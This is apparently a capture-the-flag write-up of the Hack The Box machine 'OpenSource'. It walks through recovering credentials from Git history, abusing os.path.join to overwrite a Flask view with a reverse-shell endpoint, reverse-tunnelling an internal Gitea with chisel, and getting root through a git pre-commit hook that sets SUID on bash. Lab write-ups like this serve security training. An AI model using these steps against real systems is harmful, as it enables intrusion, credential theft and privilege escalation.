OpenSource
Summary
Scanning with nmap finds a Flask webserver on port 80 for an application called "upcloud," a file uploading and sharing service. The landing page lets us download a Git repository of the source code and visit a demo of the application we downloaded. Exploring the Git repository's two branches (with a few commits per branch) reveals some credentials. There is a function in the source code that removes relative paths from uploaded file names in an attempt to prevent file uploads to other directories. However, we can use an absolute path thanks to the logic behind python's os.path.join method. Therefore, we upload a modified version of part of the application that contains a reverse shell endpoint and use burpsuite to change the filename submitted to the server. The server will overwrite the application with our modified version and then we can call our custom endpoint to get a reverse shell.
We get a reverse shell into a Docker container and access a port that nmap had marked as "filtered." This port contains a Gitea instance so we forward it to our machine using Chisel. We can sign in using the credentials previous found in the Git repository. Gitea has a repo with an SSH private key that we can use to SSH to the box.
To get root, we run pspy and notice that git commit is ran on a schedule by root to backup the user's home directory. We abuse this and create a pre-commit git hook that converts /bin/bash into a SUID binary. We wait for at most a minute and then run bash -p to get a root shell and grab the root.txt flag.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.164.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 27 Jul 2022 02:00:17 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 27 Jul 2022 02:00:17 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=7/26%Time=62E09C36%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1036,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Wed,\x2027\x20Jul\x202022\x2002:00:17\x20GMT
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20
SF:5316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20
SF:\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=
SF:\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\
SF:n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!
SF:</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jque
SF:ry-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stat
SF:ic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script
SF:\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\
SF:x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround
SF:\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href
SF:=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boo
SF:tstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20
SF:\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\
SF:nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Wed,\x2027\
SF:x20Jul\x202022\x2002:00:17\x20GMT\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20OPTIONS\r\nContent-Length:\x20
SF:0\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTM
SF:L\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x
SF:20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equ
SF:iv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x2
SF:0</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>E
SF:rror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code
SF::\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20req
SF:uest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20
SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20
SF:\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWe have a Flask Werkzeug server on port 80, SSH on port 22, and a filtered port 3000.
Flask (Port 80)
80)At port 80 we are met with the homepage of a file sharing service called "upcloud." 
There is button that lets us download the source code (hence the box name "OpenSource"). There is also a test instance running at http://10.10.11.164/upcloud, which is linked to by the last button on the page.
First, in the source code there is a Dockerfile so this site is probably running in a Docker container.
Git
This is a git repo since there is a .git folder present. git log shows two commits:
We can run git checkout HEAD~ to view the files from the first commit, but it is easier to run git diff HEAD~ HEAD to see the changes that were made:
This shows that the FLASK_DEBUG=1 line in the Dockerfile was removed in the latest commit.
git branch shows that there is another branch called dev. We can view its difference from current commit with git diff dev public:
Looks like dev is what is running on the box since it is what has the /upcloud URL instead of / to get to the main page. This also means ENV FLASK_DEBUG=1 is set on the box, which means we have access to the Flask debugger. According to a guide about debugging flask applications, "The debugger allows executing arbitrary Python code from the browser. It is protected by a pin, but still represents a major security risk. Do not run the development server or debugger in a production environment."
Looking at the dev branch's commits with git checkout dev && git log shows the following:
Looking at the difference between the first two commits with git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820 reveals some credentials:
Credentials: dev01:Soulless_Developer#2022
Reverse Shell
After looking a bit more, we notice there is are functions get_file_name and get_unique_upload_name in the source/app/app/utils.py file:
get_unique_upload_name is not actually ever used. get_file_name is called when a file is uploaded:
These functions appear to be attempts to prevent us from writing files outside of the public/uploads/ directory. By calling recursive_replace all "../" are removed. Thus, relative paths that jump up directories will not work:
However, the upload_file function uses os.path.join, which has one important property. The documentation states the following: "Join one or more path components intelligently. The return value is the concatenation of path and any members of *paths with exactly one directory separator following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty. If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component." (emphasis mine).
So, os.path.join("blah/foo/bar", "another/path", "/here/is/an/absolute/path") evaluates to "/here/is/an/absolute/path".
Therefore, this works:
os.getcwd() is used in views.py, but that also doesn't matter since the last absolute path has priority. / is not a valid character in the name of a file, but that too doesn't matter since f.filename is a property we control as part of the HTTP POST request.
Since we can write a file, we can replace the views.py file with whatever content we want. So, let's create a new version that has an endpoint that creates a reverse shell back to us:
Our rev_shell function makes it so we can send a GET request to http://10.10.11.164/8OpZIlfrhe?ip=<ip>&port=<port> and get a reverse shell. I messed around with this function for way too long. The issue was that all of my previous attempts used /bin/bash which is not present since this is a container! I should have remembered that earlier. I ended up using the standard Python reverse shell (just in its expanded line-by-line format instead of a one-liner). In theory a function like the one below should work too:
Anyway, we will use burpsuite (but you can also use Firefox's developer tools to resend the upload request) to modify the filename that is sent when we upload our modified views.py file.
Go to the upcloud interface, upload the file, and intercept the request in burpsuite. Then, edit the filename from views.py to /app/app/views.py:

Now, start a listener with pwncat-cs -lp 6090 (or use netcat) and go to http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090. This creates a reverse shell!
Alternative Reverse Shell
Remember from earlier how the Flask debugger is enabled? The machine author hinted that we should use that via the git commits. This is because you can use the debugger to get a shell. Going to http://10.10.11.164/uploads/a_file_that_doesn_exist shows an error page and clicking the shell icon next to any of the traceback messages asks for a pin to load the debugger.

This HackTricks page explains how to compute the pin. This is possible since there is a LFI exploit with the /uploads endpoint by requesting a file at /uploads/..//<path>.
Container
The shell created is receiving the standard output from Flask, which is interesting. There is a request from an internal service at 172.17.0.1 that is received every few minutes.
Looking at /, we can see that this is indeed a docker container:
We saw a filtered port 3000 from the initial nmap scan which likely means whatever service running on that port is running internally. Let's see if we can access it from within the Docker container.
Looks like we can! It is a Gitea instance.
Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with chisel (helpful guide). Run ./chisel server -p 12350 --reverse on your attacker machine and then run ./chisel_386 client 10.10.14.98:12350 R:3000:172.17.0.1:3000 on the target (make sure to use the 386 version on the target container). You can upload chisel easily with pwncat by running upload tools/chisel_386 in the local shell (this ended by connection, but the file did upload completed and I just reconnected by reloading http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090). By the way, 172.17.0.1 is the IP address of the host from within the container.
Now, going to http://localhost:3000/ on our attacker machine loads Gitea.
Gitea (Port 3000)
3000)Signing in with the credentials (dev01:Soulless_Developer#2022) that we found earlier in the Git repo works!

Looking at the home-backup repository shows that it has an .ssh directory with an id_rsa private key in it.

Foothold
We save this to our attacker machine and use it to SSH onto the box as the dev01 user. Change the permissions for the key with chmod 600 ~/Downloads/id_rsa and then SSH with ssh [email protected] -i ~/Downloads/id_rsa.
Now we can print the user.txt flag by running cat ~/user.txt.
Privilege Escalation
Instead of connecting over SSH we can connect using pwncat so we can easily upload files: pwncat-cs [email protected] -i ~/Downloads/id_rsa.
Upload pspy by running upload pspy64 in pwncat's local shell. This will enable us to monitor processes that are ran without root.
This important output is observed:
The home-backup git repo (which is contained in our home directory) is committed to once per minute automatically by root:
We can get a hoot shell because of this thanks to git hooks. Git hooks are custom scripts that get executed "when certain important actions occur," such as a commit being made. The one we want to activate is pre-commit. Any commands we put in the file at ~/.git/hooks/pre-commit will be run as root. So, activate the sample with mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit and then add the command chmod u+s /bin/bash near the top to make bash a SUID binary. Now, we just need to wait for a most 1 minute (you can see when it runs using pspy) and we will be able to simply run bash to get a root shell.
While I waited for the shell I noticed this in pspy as well:
That's probably the request we saw earlier in our shell and the clean.sh script probably reset the main upcloud site.
Anyway, after a minute passes, run bash -p to get a root shell! Then, get the root.txt flag with cat /root/root.txt.
Also, because I am curious:
Also, we can see why port 3000 was filtered at the bottom of this file:
Last updated
Was this helpful?